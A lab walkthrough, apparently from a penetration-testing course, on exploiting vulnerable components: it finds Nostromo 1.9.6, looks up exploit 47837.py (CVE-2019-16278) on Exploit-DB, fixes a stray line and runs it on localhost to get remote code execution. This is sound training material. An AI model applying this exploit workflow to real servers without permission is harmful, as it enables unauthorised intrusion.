Task 14 : Vulnerable and Outdated Components — Exploit

Recall that since this is about known vulnerabilities, most of the work has already been done for us. Our main job is to find out the information of the software and research it until we can find an exploit. Let's go through that with an example web application.

Nostromo 1.9.6

What do you know? This server has the default page for the Nostromo web server. Now that we have a version number and a software name, we can use Exploit-DB to try and find an exploit for this particular version.

Press enter or click to view image in full size

Date	D	A	V	Title	Type	Platform	Author
2020-01-01				nostromo 1.9.6 - Remote Code Execution	Remote	Multiple	Kr0ff
2019-11-01				Nostromo - Directory Traversal Remote Command Execution (Metasploit)	Remote	Multiple	Metasploit
2011-03-05				nostromo nhttpd 1.9.3 - Directory Traversal Remote Command Execution	Remote	Linux	RedTeam Pentesting GmbH

Showing 1 to 3 of 3 entries (filtered from 42,927 total entries) FIRST PREVIOUS 1 NEXT LAST

Lucky us, the top result happens to be an exploit script. Let's download it and try to get code execution. Running this script on its own teaches us a very important lesson.

```
user@linux$ python 47837.py
Traceback (most recent call last):
  File "47837.py", line 10, in <module>
    cve2019_16278.py
NameError: name 'cve2019_16278' is not defined
```

Exploits you download from the Internet may not work the first time. It helps to understand the programming language the script is in so that, if needed, you can fix any bugs or make any modifications, as quite a few scripts on Exploit-DB expect you to make modifications.

Fortunately, the error was caused by a line that should have been commented out, so it's an easy fix.

```
# Exploit Title: nostromo 1.9.6 - Remote Code Execution
# Date: 2019-12-31
# Exploit Author: Kr0ff
# Vendor Homepage:
# Software Link: http://www.nazgul.ch/dev/nostromo-1.9.6.tar.gz
# Version: 1.9.6
# Tested on: Debian
# CVE : CVE-2019-16278cve2019_16278.py  # This line needs to be
commented.#!/usr/bin/env python
```

Fixing that, let's try and run the program again.

```
user@linux$ python2 47837.py 127.0.0.1 80 id                    _____-2019-
16278
    _____ _______   ______  _____\  \
  _____\  \_\    | |     | /   / |   |
 /    /|    ||    / /    /|/   / /___/|
/    / /____/||\   \ \   |/|   |__ |___|/
|    | |____|/ \\   \ |   | |     \
|    | _____  \|    \|   | |    __/ __
|\    \|\   \  |\      /| |\   \ / \
| \_____\|    |  | \_______/ | | \____\/   |
| |    /____/|   \ |    | /  | |   |____/|
 \|_____|    ||    \|_____|/   \|____|   | |
      |____|/               |___|/
```

HTTP/1.1 200 OK
Date: Fri, 03 Feb 2023 04:58:34 GMT
Server: nostromo 1.9.6
Connection: closeuid=1001(_nostromo) gid=1001(_nostromo)
groups=1001(_nostromo)

Boom! We have RCE. Now it's important to note that most scripts will tell you what arguments you need to provide. Exploit developers will rarely make you read potentially hundreds of lines of code just to figure out how to use the script.

It is also worth noting that it may not always be this easy. Sometimes you will just be given a version number, like in this case, but other times you may need to dig through the HTML source or even take a lucky guess on an exploit script. But realistically, if it is a known vulnerability, there's probably a way to discover what version the application is running.

That's really it. The great thing about this piece of the OWASP Top 10 is that the work is already done for us, we just need to do some basic research, and as a penetration tester, you're already doing that quite a bit.

Answer the questions below :

1. Read the above!
A. No answer needed